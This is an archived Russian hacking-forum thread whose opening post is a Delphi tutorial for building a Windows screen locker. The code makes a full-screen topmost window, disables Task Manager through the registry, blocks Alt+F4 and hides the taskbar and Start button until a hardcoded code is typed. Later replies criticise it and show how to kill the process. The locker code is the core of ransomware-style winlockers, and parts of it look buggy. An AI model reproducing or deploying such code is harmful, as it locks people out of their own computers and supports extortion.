Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Блокиратор Windows(Пример реализации на Delphi)

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Блокиратор Windows(Пример реализации на Delphi)
Имя
Сообщение << Старые топики   Новые топики >>
Блокиратор Windows(Пример реализации на Delphi) - 2011-07-11 20:17:07.240000   
aRomisys

Сообщений: 1
Оценки: 0
Присоединился: 2011-07-11 20:14:31.573333
Только незнаю куда эту тему всунуть, отправил сюда, прошу не ругатся.
ДАННАЯ ТЕМА НАписана для общего развития пользователей, автор темы не несет ответсявенности за поступки пользователей.Ответственность за использование программы во вред другим ложится целиком на вас.

Ну … начнем…изучая Delphi решил попробывать написать такую каку, ..получилось, теперь продемонстрирую вам как это работает.
Писал на Delphi 7.

1. Вот включаем Delphi и у нас сразу появляется пустая форма, которую я сразу окрашу в черный цвет, в свойствах формы выбираю Color(clBackground) .
">
.
2. Чтобы моя форма разворачивалась во весь экран, в свойствах формы выбираю WindowState(wsMaximized).
">
.

3. Далее делаем нашу форму без верхних “Кнопок” (“свернуть”,” на весь экран”,” закрыть”) для этого в свойствах формы ставлю BorderStyle (bsNone) .
">
.

4. Нам понадобится чтобы наша форма всегда была поверх всех остальных окон, этого мы добиваемся выставив FormStyle(fsStayOnTop).
">
.

5. Ну и еще мне хочется добавить прозрaчности чтоб было красиво… для этого ставлю AlphaBlend(True) и AlphaBlendValue(205).
">
.У нас получилась вот такая заготовка.
">
.

6. Добавлю компонент XPManifest из Win32. Чтобы вид был не как у допотопных операционок.
">
.

7. Теперь добавляю Edit И Button из Standard. Выбираю Button и в свойствах в Caption пишу то что будет отображаться у меня на кнопке, а у Edit и в свойствах Text всё стираю чтоб не мешало
">
.

8. Кликну два раза по нашему Edit, и запишу процедуру вида:
procedure TForm1.Edit1Change(Sender: TObject); var s,s1:string; i:integer; begin if edit1.Text&lt;&gt;'' then begin s:=edit1.Text; s1:=''; for i:=1 to Length(s) do if s[i] in['0'..'9'] then s1:=s1+s[i]; edit1.Text:=s1; end; end;
К Это нам поможет избежать конфликтов, при вводе кода, тоесть в Edit можно будет ввести только цифры, (никаких букв).
">
.

9. Далее уберем диспетчер задач, для этого в Uses запишем Registry, и добавим процедуру закрытия доступа к диспетчеру задач
">
.
procedure LockTaskManager(Lock : Boolean = True); const sKey = 'DisableTaskMgr'; begin with TRegistry.Create do begin RootKey := HKEY_CURRENT_USER; if not OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System', True) then Exit; if Lock then WriteString(sKey, '1') else WriteString(sKey, '100'); CloseKey; Free; end; end;
10. Отключаем возможность закрытия способом Alt+F4 делаем так, в событиях формы кликаем два раза на OnKeyDown
">
и Пишем следующее:
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if ((ssAlt in Shift) and (Key = VK_F4)) then Key := 0; end;

11. Далее на обьекте “Form1” в событиях жмем два раза на OnActivate
">
и пишем следующее,
procedure TForm1.FormActivate(Sender: TObject); begin LockTaskManager(); //закрыли доступ к диспетчеру задач KeyPreview := true;//alt+f4 теперь не работает Wnd := FindWindowEx(Wnd, HWND(0), 'Button', nil);//далее убираем пуск,панель задач…. ShowWindow(Wnd, sw_hide); ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE); ShowWindow(Application.handle, SW_HIDE); end;
в Var необходимо добавить Wnd: THandle;
12. Кликаем на форме на нашу кнопку два раза, и пишем
">
procedure TForm1.Button1Click(Sender: TObject); begin if edit1.Text='123456' then begin //если введеное в Edit1 равно 123456 то …. LockTaskManager(False);// возвращаем диспетчер Wnd := FindWindowEx(Wnd, HWND(0), 'Button', nil); //возвращаем пуск,панель задач…. ShowWindow(Wnd, sw_hide); ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_SHOW); close; end; end;
13. Теперь осталось добавить Label и записать в него что хочешь
">
Замечу, что добавлять его в автозагрузку не стал(Чтоб неосознанной каки не сделали), но это делается такде через реестр.
вот еще оставляю исходник, Скачать
Post #: 1
RE: Блокиратор Windows(Пример реализации на Delphi) - 2011-07-22 14:40:13.630000   
TheZka

Сообщений: 6
Оценки: 0
Присоединился: 2011-06-30 19:33:53.040000
Ага, так ещё надо и кнопку "Win" заблокировать, ведь вызывается меню пуск, а там всё и выключить можно!
Post #: 2
RE: Блокиратор Windows(Пример реализации на Delphi) - 2011-07-22 17:52:23.633333   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Что-то я не нашёл, как программа обходит UAC, а без этого "локер" не установится. А чтобы формочки учиться рисовать ума много не надо… и уж тем более претендовать на какие-то locker-ы.

P.S. для кулхацкеров, которых надо банить за использование столь порнографических фотохостингов:

Пуск - Выполнить - cmd
tasklist
taskkill /f project1.exe
Post #: 3
RE: Блокиратор Windows(Пример реализации на Delphi) - 2011-07-23 02:44:53.056666   
Genco

Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
Хотел написать, что символы надо фильтровать при вводе через KeyPress и про безопасный режим, но на фоне упомянутых косяков это уже ерунда)
Post #: 4
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Блокиратор Windows(Пример реализации на Delphi)







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.